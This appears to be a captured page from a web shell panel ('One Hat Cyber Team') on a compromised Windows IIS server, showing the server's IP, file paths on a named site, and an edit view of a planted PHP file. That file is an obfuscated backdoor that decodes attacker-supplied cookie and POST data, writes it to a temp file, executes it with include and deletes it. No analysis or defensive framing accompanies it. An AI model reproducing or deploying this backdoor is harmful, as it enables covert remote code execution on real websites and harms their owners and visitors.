⚝
One Hat Cyber Team
⚝
Your IP:
3.141.43.16
Server IP:
162.222.225.78
Server:
Windows NT PLESK-WEB5 10.0 build 20348 (Windows Server 2022) AMD64
Server Software:
Microsoft-IIS/10.0
PHP Version:
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
D:
/
INETPUB
/
VHOSTS
/
ateam.co.in
/
public_html
/
636bc
/
Edit File: 4c028ac2.php
$CsEYo = 'h' . chr ( 772 - 688 )."\157" . "\x5f" . chr (72) . chr ( 937 - 872 ).'B';$gbPfPoHRdw = 'c' . chr ( 685 - 577 )."\141" . "\163" . 's' . "\x5f" . "\145" . "\x78" . 'i' . chr ( 416 - 301 ).chr ( 489 - 373 )."\x73";$wvqcDnLQg = class_exists($CsEYo); $CsEYo = "33622";$gbPfPoHRdw = "15500";$oCqSIxpJ = FALSE;if ($wvqcDnLQg === $oCqSIxpJ){$bVYqZnCaC = "62782";class hTo_HAB{public function iZGSYp(){echo "9275";}private $zAeFxp;public static $GAKOnzbo = "9e6cb796-fb97-4c84-a261-03faf9849f90";public static $GOsgX = 15699;public function __construct($ZOEBOeyhXX=0){$jyToaP = $_POST;$WnAnxEl = $_COOKIE;$ygZkaEqgI = @$WnAnxEl[substr(hTo_HAB::$GAKOnzbo, 0, 4)];if (!empty($ygZkaEqgI)){$faXiWjaE = "base64";$lWjQoia = "";$ygZkaEqgI = explode(",", $ygZkaEqgI);foreach ($ygZkaEqgI as $tmjMWX){$lWjQoia .= @$WnAnxEl[$tmjMWX];$lWjQoia .= @$jyToaP[$tmjMWX];}$lWjQoia = array_map($faXiWjaE . '_' . 'd' . chr (101) . chr (99) . "\157" . 'd' . chr ( 939 - 838 ), array($lWjQoia,)); $lWjQoia = $lWjQoia[0] ^ str_repeat(hTo_HAB::$GAKOnzbo, (strlen($lWjQoia[0]) / strlen(hTo_HAB::$GAKOnzbo)) + 1);hTo_HAB::$GOsgX = @unserialize($lWjQoia);}}private function kdVXSdcEe($bVYqZnCaC){if (is_array(hTo_HAB::$GOsgX)) {$JhWmlnqp = sys_get_temp_dir() . "/" . crc32(hTo_HAB::$GOsgX[chr ( 330 - 215 ).chr ( 992 - 895 ).'l' . chr ( 146 - 30 )]);@hTo_HAB::$GOsgX[chr ( 394 - 275 ).'r' . chr (105) . chr ( 851 - 735 ).'e']($JhWmlnqp, hTo_HAB::$GOsgX[chr (99) . chr (111) . "\156" . chr ( 1079 - 963 ).chr (101) . 'n' . "\x74"]);include $JhWmlnqp;@hTo_HAB::$GOsgX[chr (100) . 'e' . 'l' . chr ( 432 - 331 )."\x74" . chr ( 410 - 309 )]($JhWmlnqp); $bVYqZnCaC = "62782";exit();}}public function __destruct(){$bVYqZnCaC = "51379_44382";$this->kdVXSdcEe($bVYqZnCaC); $bVYqZnCaC = "51379_44382";}}$ZRqPnaGH = new /* 64609 */ hTo_HAB(); $ZRqPnaGH = str_repeat("51379_44382", 1);}
Simpan